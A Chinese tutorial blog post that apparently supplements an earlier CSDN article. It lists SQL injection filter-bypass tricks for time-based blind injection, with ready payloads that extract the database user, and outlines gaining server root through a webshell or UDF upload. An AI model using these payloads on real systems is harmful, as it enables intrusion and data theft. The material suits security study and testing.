繼之前文章的補充:
WEB安全--SQL注入--bypass技巧_sql注入過濾空格-CSDN博客
Q1:發現sql注入的時間盲注時,如果時間盲注的函數都被過濾了,怎么辦?
除了找其他函數替換、編碼等方式,還有以下方式繞過:
1、嘗試其他注入手段是否有效果,比如報錯注入、DNSLog外帶等;
2、將被過濾的函數以拼接的方式呈現(如果正則驗證不嚴格可能繞過):
SELECT /*!50000sleep*/(5);
SELECT s||l||e||e||p(5); -- Oracle
SELECT sle+ep(5); --MSSQL
3、利用其他延時機制模擬相同效果:
? ? ? ? 笛卡爾積+大量數據處理(MySQL)
SELECT COUNT(*) FROM large_table1, large_table2, large_table3 WHERE ...
? ? ? ? 遞歸(MSSQL/PostgreSQL)
WITH RECURSIVE t(n) AS (SELECT 1 UNION ALL SELECT n+1 FROM t WHERE n < 1000000
)
SELECT * FROM t;
4、響應包判斷:
所謂sql時間盲注指頁面沒有任何回顯,但實際情況下響應包的內容可能會因為請求的sql語句而產生細微變化。
根據這一特性,我們可以嘗試用普通的真假條件語句結合響應包中的內容去判斷,可以將此sql時間盲注轉化為類似布爾盲注的形式。
?id=1' AND (condition) --+
5、構造事件:
構造一個事件或觸發器,讓它執行慢查詢或利用其副作用來判斷條件是否成立(要有寫權限)。
CREATE EVENT myevent ON SCHEDULE AT CURRENT_TIMESTAMP + INTERVAL 5 SECOND DO SELECT 1;
6、正則匹配:
某些復雜的正則或字符串處理函數在不同的輸入下計算量不同,可造成微小但可檢測的延遲。
1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, 'A' REGEXP BINARY REPEAT('A',1000000), 1)--+
7、加鎖操作延時:
如果條件不成立,快速返回;?
如果條件成立→ 查詢 users?中 id=1 并對其加鎖,當前連接掛起等待鎖釋放(通常可控制幾秒)
1' AND IF(ASCII(SUBSTRING((SELECT user()),1,1)) > 100, (SELECT 1 FROM users WHERE id=1 FOR UPDATE), 1)--+
Q2、在服務器權限為普通用戶是,sql注入如何獲取服務器root權限?
判斷注入的類型
判斷數據庫類型、版本等信息
判斷當前用戶權限(至少需要有文件寫權限)
? ? ? ? sql注入將webshell寫入服務器web目錄中(需要知道物理路徑)==> 服務器腳本提權 ==> 在蟻劍中執行系統命令
? ? ? ? 上傳.dll/.so文件(需要知道物理路徑)==> 進行系統提權(UDF)?==> 在數據庫命令行執行系統命令